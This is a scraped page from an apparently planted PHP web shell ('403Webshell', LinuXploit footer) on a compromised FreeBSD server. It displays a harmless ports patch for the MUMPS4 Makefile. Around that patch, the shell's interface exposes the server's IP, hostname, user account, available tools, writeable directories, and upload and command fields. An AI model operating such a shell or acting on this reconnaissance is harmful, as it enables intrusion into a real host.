403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/math/mumps4/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/math/mumps4/files/patch-Make.inc_Makefile.inc.generic.SEQ
--- Make.inc/Makefile.inc.generic.SEQ.orig	2011-05-10 12:56:32 UTC
+++ Make.inc/Makefile.inc.generic.SEQ
@@ -41,7 +41,7 @@
 #          Metis/ParMetis and SCOTCH/PT-SCOTCH (ver 5.1 and later) orderings are now available for MUMPS.
 #
 
-#SCOTCHDIR  = ${HOME}/scotch_5.1_esmumps
+#SCOTCHDIR  = @LOCALBASE@
 #ISCOTCH    = -I$(SCOTCHDIR)/include 
 # You have to choose one among the following two lines depending on
 # the type of analysis you want to perform. If you want to perform only
@@ -72,7 +72,7 @@ LPORD    = -L$(LPORDDIR) -lpord
 # The following variables will be used in the compilation process.
 # Please note that -Dptscotch and -Dparmetis imply -Dscotch and -Dmetis respectively.
 #ORDERINGSF = -Dscotch -Dmetis -Dpord -Dptscotch -Dparmetis
-ORDERINGSF  = -Dpord
+ORDERINGSF  += -Dpord
 ORDERINGSC  = $(ORDERINGSF)
 
 LORDERINGS = $(LMETIS) $(LPORD) $(LSCOTCH)
@@ -95,11 +95,11 @@ OUTF    = -o 
 # RM : remove files
 RM      = /bin/rm -f
 # CC : C compiler
-CC      = cc
+CC      = @CC@
 # FC : Fortran 90 compiler
-FC      = f90
+FC      = @FC@
 # FL : Fortran linker
-FL      = f90
+FL      = @FC@
 # AR : Archive object in a library
 #      keep a space at the end if options have to be separated from lib name
 AR      = ar vr 
@@ -112,14 +112,14 @@ RANLIB  = ranlib
 # the sequential library provided by MUMPS, to use instead
 # of ScaLAPACK and MPI.
 INCSEQ  = -I$(topdir)/libseq
-LIBSEQ  = -Llibseq -lmpiseq
+LIBSEQ  = -L$(topdir)/libseq -lmpiseq
 
 # DEFINE HERE YOUR BLAS LIBRARY
 
-LIBBLAS = -lblas
+LIBBLAS = -L@LOCALBASE@/lib @BLAS_LIBS@ 
 
 # DEFINE HERE YOUR PTHREAD LIBRARY
-LIBOTHERS = -lpthread
+LIBOTHERS = -lpthread @GCCLIBDIR@  @FORTRANLIBS@
 
 # FORTRAN/C COMPATIBILITY:
 #  Use:
@@ -132,12 +132,12 @@ LIBOTHERS = -lpthread
 #     leave empty if your Fortran compiler does not change the symbols.
 #
 
-CDEFS = -DAdd_
+CDEFS ?= -DAdd_
 
 #COMPILER OPTIONS
 
-OPTF    = -O
-OPTC    = -O -I.
+OPTF    = @FCFLAGS@
+OPTC    = @CFLAGS@
 OPTL    = -O
 
 #Sequential:

Youez - 2016 - github.com/yon3zu
LinuXploit